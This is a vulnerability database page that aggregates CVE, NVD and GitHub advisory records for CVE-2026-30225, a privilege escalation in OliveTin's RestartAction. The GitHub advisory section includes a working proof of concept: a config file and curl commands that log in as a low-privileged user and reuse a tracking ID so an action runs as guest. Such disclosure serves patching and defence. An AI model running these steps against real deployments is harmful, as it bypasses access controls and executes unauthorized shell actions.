Vulnerability-Lookup

CVE-2026-30225 (GCVE-0-2026-30225)

Vulnerability from cvelistv5 – Published: 2026-03-06 21:03 – Updated: 2026-03-09 20:54

Title

OliveTin: RestartAction always runs actions as guest

Summary

OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run. RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution. This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions. This issue has been patched in version 3000.11.1.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-441 - Unintended Proxy or Intermediary ('Confused Deputy')
CWE-250 - Execution with Unnecessary Privileges

Assigner

GitHub_M

References

URL

Tags

	https://github.com/OliveTin/OliveTin/security/adv…	x_refsource_CONFIRM
	https://github.com/OliveTin/OliveTin/commit/cb46a…	x_refsource_MISC
	https://github.com/OliveTin/OliveTin/releases/tag…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	OliveTin	OliveTin	Affected: < 3000.11.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-30225",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-09T20:49:02.628432Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-09T20:54:29.579Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "OliveTin",
          "vendor": "OliveTin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3000.11.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authentication context confusion vulnerability in RestartAction allows a low\u2011privileged authenticated user to execute actions they are not permitted to run. RestartAction constructs a new internal connect.Request without preserving the original caller\u2019s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution. This vulnerability allows a low\u2011privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions. This issue has been patched in version 3000.11.1."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-441",
              "description": "CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-250",
              "description": "CWE-250: Execution with Unnecessary Privileges",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-06T21:03:55.994Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f"
        },
        {
          "name": "https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911"
        },
        {
          "name": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
        }
      ],
      "source": {
        "advisory": "GHSA-p443-p7w5-2f7f",
        "discovery": "UNKNOWN"
      },
      "title": "OliveTin: RestartAction always runs actions as guest"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-30225",
    "datePublished": "2026-03-06T21:03:55.994Z",
    "dateReserved": "2026-03-04T17:23:59.797Z",
    "dateUpdated": "2026-03-09T20:54:29.579Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-30225\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-06T21:16:16.443\",\"lastModified\":\"2026-03-12T15:46:39.533\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authentication context confusion vulnerability in RestartAction allows a low\u2011privileged authenticated user to execute actions they are not permitted to run. RestartAction constructs a new internal connect.Request without preserving the original caller\u2019s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution. This vulnerability allows a low\u2011privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions. This issue has been patched in version 3000.11.1.\"},{\"lang\":\"es\",\"value\":\"OliveTin da acceso a comandos shell predefinidos desde una interfaz web. Antes de la versi\u00f3n 3000.11.1, una vulnerabilidad de confusi\u00f3n de contexto de autenticaci\u00f3n en RestartAction permite a un usuario autenticado con bajos privilegios ejecutar acciones que no tiene permitido ejecutar. RestartAction construye una nueva connect.Request interna sin preservar los encabezados de autenticaci\u00f3n o las cookies del llamador original. Cuando esta solicitud sint\u00e9tica se pasa a StartAction, el resolvedor de autenticaci\u00f3n recurre al usuario invitado. Si la cuenta de invitado tiene permisos m\u00e1s amplios que el llamador autenticado, esto resulta en escalada de privilegios y ejecuci\u00f3n de comandos no autorizada. Esta vulnerabilidad permite a un usuario autenticado con bajos privilegios eludir las restricciones de ACL y ejecutar acciones shell configuradas arbitrarias. Este problema ha sido parcheado en la versi\u00f3n 3000.11.1.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\",\"baseScore\":5.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":1.4},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\",\"baseScore\":4.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":1.4}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-250\"},{\"lang\":\"en\",\"value\":\"CWE-441\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:olivetin:olivetin:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"3000.11.1\",\"matchCriteriaId\":\"36F31F34-F899-413C-9A07-C14E32C66807\"}]}]}],\"references\":[{\"url\":\"https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\",\"Release Notes\"]},{\"url\":\"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-30225\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-09T20:49:02.628432Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-09T20:51:34.343Z\"}}], \"cna\": {\"title\": \"OliveTin: RestartAction always runs actions as guest\", \"source\": {\"advisory\": \"GHSA-p443-p7w5-2f7f\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"OliveTin\", \"product\": \"OliveTin\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 3000.11.1\"}]}], \"references\": [{\"url\": \"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f\", \"name\": \"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911\", \"name\": \"https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1\", \"name\": \"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authentication context confusion vulnerability in RestartAction allows a low\\u2011privileged authenticated user to execute actions they are not permitted to run. RestartAction constructs a new internal connect.Request without preserving the original caller\\u2019s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution. This vulnerability allows a low\\u2011privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions. This issue has been patched in version 3000.11.1.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-441\", \"description\": \"CWE-441: Unintended Proxy or Intermediary (\u0027Confused Deputy\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-250\", \"description\": \"CWE-250: Execution with Unnecessary Privileges\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-06T21:03:55.994Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-30225\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-09T20:54:29.579Z\", \"dateReserved\": \"2026-03-04T17:23:59.797Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-06T21:03:55.994Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-30225

Vulnerability from fkie_nvd - Published: 2026-03-06 21:16 - Updated: 2026-03-12 15:46

Severity ?

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911	Patch
security-advisories@github.com	https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1	Product, Release Notes
security-advisories@github.com	https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	olivetin	olivetin	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:olivetin:olivetin:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "36F31F34-F899-413C-9A07-C14E32C66807",
              "versionEndExcluding": "3000.11.1",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OliveTin gives access to predefined shell commands from a web interface. Prior to version 3000.11.1, an authentication context confusion vulnerability in RestartAction allows a low\u2011privileged authenticated user to execute actions they are not permitted to run. RestartAction constructs a new internal connect.Request without preserving the original caller\u2019s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution. This vulnerability allows a low\u2011privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions. This issue has been patched in version 3000.11.1."
    },
    {
      "lang": "es",
      "value": "OliveTin da acceso a comandos shell predefinidos desde una interfaz web. Antes de la versi\u00f3n 3000.11.1, una vulnerabilidad de confusi\u00f3n de contexto de autenticaci\u00f3n en RestartAction permite a un usuario autenticado con bajos privilegios ejecutar acciones que no tiene permitido ejecutar. RestartAction construye una nueva connect.Request interna sin preservar los encabezados de autenticaci\u00f3n o las cookies del llamador original. Cuando esta solicitud sint\u00e9tica se pasa a StartAction, el resolvedor de autenticaci\u00f3n recurre al usuario invitado. Si la cuenta de invitado tiene permisos m\u00e1s amplios que el llamador autenticado, esto resulta en escalada de privilegios y ejecuci\u00f3n de comandos no autorizada. Esta vulnerabilidad permite a un usuario autenticado con bajos privilegios eludir las restricciones de ACL y ejecutar acciones shell configuradas arbitrarias. Este problema ha sido parcheado en la versi\u00f3n 3000.11.1."
    }
  ],
  "id": "CVE-2026-30225",
  "lastModified": "2026-03-12T15:46:39.533",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 4.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 1.4,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-06T21:16:16.443",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-250"
        },
        {
          "lang": "en",
          "value": "CWE-441"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-P443-P7W5-2F7F

Vulnerability from github – Published: 2026-03-05 20:53 – Updated: 2026-03-06 22:52

Summary

OliveTin's RestartAction always runs actions as guest

Details

Summary

An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.

RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.

This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.

Details

Affected files:

service/internal/api/api.go

service/internal/auth/authcheck.go

Relevant code in RestartAction:

return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{
    Msg: &apiv1.StartActionRequest{
        BindingId:        execReqLogEntry.GetBindingId(),
        UniqueTrackingId: req.Msg.ExecutionTrackingId,
    },
})

Authentication in StartAction:

authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)

Issue:

RestartAction creates a new connect.Request object.
The new request does not preserve caller headers or cookies.
UserFromApiCall() attempts to resolve the user from the request.
Because authentication headers are missing, it falls back to the guest user.
If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.

PoC

Configuration:

defaultPermissions:
  exec: false

users:
  - username: low
    password: lowpass
    permissions:
      exec: false

  - username: guest
    permissions:
      exec: true

actions:
  - id: restart_bypass_action
    shell: |
      echo "pwned" > /tmp/olivetin_restart_bypass.txt

Steps to reproduce:

LOW_LOGIN=$(curl -sS -i -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"lowpass"}')

LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \
  awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')

Attempt direct execution (correctly blocked)

LOW_RUN=$(curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"actionId":"restart_bypass_action"}')

echo "$LOW_RUN"

This should return permission denied.

Extract executionTrackingId from response:

TRACKING_ID=$(printf '%s' "$LOW_RUN" | \
  sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1)

echo "Tracking ID: $TRACKING_ID"

Call RestartAction:

curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d "{\"executionTrackingId\":\"$TRACKING_ID\"}"

Verify command executed:

cat /tmp/olivetin_restart_bypass.txt

Output:

pwned

Impact

Privilege Escalation
ACL Bypass
Unauthorized Command Execution

Any authenticated low-privilege user can execute actions they are not authorized to run if: - Guest has broader permissions - RestartAction is enabled Because OliveTin actions execute system shell commands, this can lead to: - Arbitrary file writes - Sensitive data exposure - Potential full host compromise (depending on OliveTin runtime privileges)

This affects all deployments where: - guest.exec = true - A restricted user has exec = false - RestartAction endpoint is accessible

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260305000458-cb46a597b246"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30225"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-250",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T20:53:46Z",
    "nvd_published_at": "2026-03-06T21:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn authentication context confusion vulnerability in RestartAction allows a low\u2011privileged authenticated user to execute actions they are not permitted to run.\n\nRestartAction constructs a new internal connect.Request without preserving the original caller\u2019s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.\n\nThis vulnerability allows a low\u2011privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.\n\n### Details\nAffected files:\n\nservice/internal/api/api.go\n\nservice/internal/auth/authcheck.go\n\nRelevant code in RestartAction:\n\n```\nreturn api.StartAction(ctx, \u0026connect.Request[apiv1.StartActionRequest]{\n    Msg: \u0026apiv1.StartActionRequest{\n        BindingId:        execReqLogEntry.GetBindingId(),\n        UniqueTrackingId: req.Msg.ExecutionTrackingId,\n    },\n})\n```\nAuthentication in StartAction:\n```\nauthenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)\n```\nIssue:\n\n1. RestartAction creates a new connect.Request object.\n\n2. The new request does not preserve caller headers or cookies.\n\n3. UserFromApiCall() attempts to resolve the user from the request.\n\n4. Because authentication headers are missing, it falls back to the guest user.\n\n5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.\n\n### PoC\n\nConfiguration:\n```\ndefaultPermissions:\n  exec: false\n\nusers:\n  - username: low\n    password: lowpass\n    permissions:\n      exec: false\n\n  - username: guest\n    permissions:\n      exec: true\n\nactions:\n  - id: restart_bypass_action\n    shell: |\n      echo \"pwned\" \u003e /tmp/olivetin_restart_bypass.txt\n```\n\nSteps to reproduce:\n\nLogin as low user\n```\nLOW_LOGIN=$(curl -sS -i -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"low\",\"password\":\"lowpass\"}\u0027)\n\nLOW_SID=$(printf \u0027%s\\n\u0027 \"$LOW_LOGIN\" | tr -d \u0027\\r\u0027 | \\\n  awk -F\u0027[=;]\u0027 \u0027/^Set-Cookie: olivetin-sid-local=/{print $2; exit}\u0027)\n```\nAttempt direct execution (correctly blocked)\n```\nLOW_RUN=$(curl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \u0027{\"actionId\":\"restart_bypass_action\"}\u0027)\n\necho \"$LOW_RUN\"\n```\nThis should return permission denied.\n\nExtract executionTrackingId from response:\n```\nTRACKING_ID=$(printf \u0027%s\u0027 \"$LOW_RUN\" | \\\n  sed -n \u0027s/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p\u0027 | head -n1)\n\necho \"Tracking ID: $TRACKING_ID\"\n```\nCall RestartAction:\n```\ncurl -sS -X POST \\\n  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \"Cookie: olivetin-sid-local=$LOW_SID\" \\\n  -d \"{\\\"executionTrackingId\\\":\\\"$TRACKING_ID\\\"}\"\n```\nVerify command executed:\n```\ncat /tmp/olivetin_restart_bypass.txt\n```\nOutput:\n```\npwned\n```\n\n### Impact\n- Privilege Escalation\n- ACL Bypass\n- Unauthorized Command Execution\n\nAny authenticated low-privilege user can execute actions they are not authorized to run if:\n- Guest has broader permissions\n- RestartAction is enabled\nBecause OliveTin actions execute system shell commands, this can lead to:\n- Arbitrary file writes\n- Sensitive data exposure\n- Potential full host compromise (depending on OliveTin runtime privileges)\n\nThis affects all deployments where:\n- guest.exec = true\n- A restricted user has exec = false\n- RestartAction endpoint is accessible",
  "id": "GHSA-p443-p7w5-2f7f",
  "modified": "2026-03-06T22:52:19Z",
  "published": "2026-03-05T20:53:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-p443-p7w5-2f7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30225"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/cb46a597b2465235839ed58cf034b5e7b70ef911"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin\u0027s RestartAction always runs actions as guest"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-30225 (GCVE-0-2026-30225)

FKIE_CVE-2026-30225

GHSA-P443-P7W5-2F7F

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature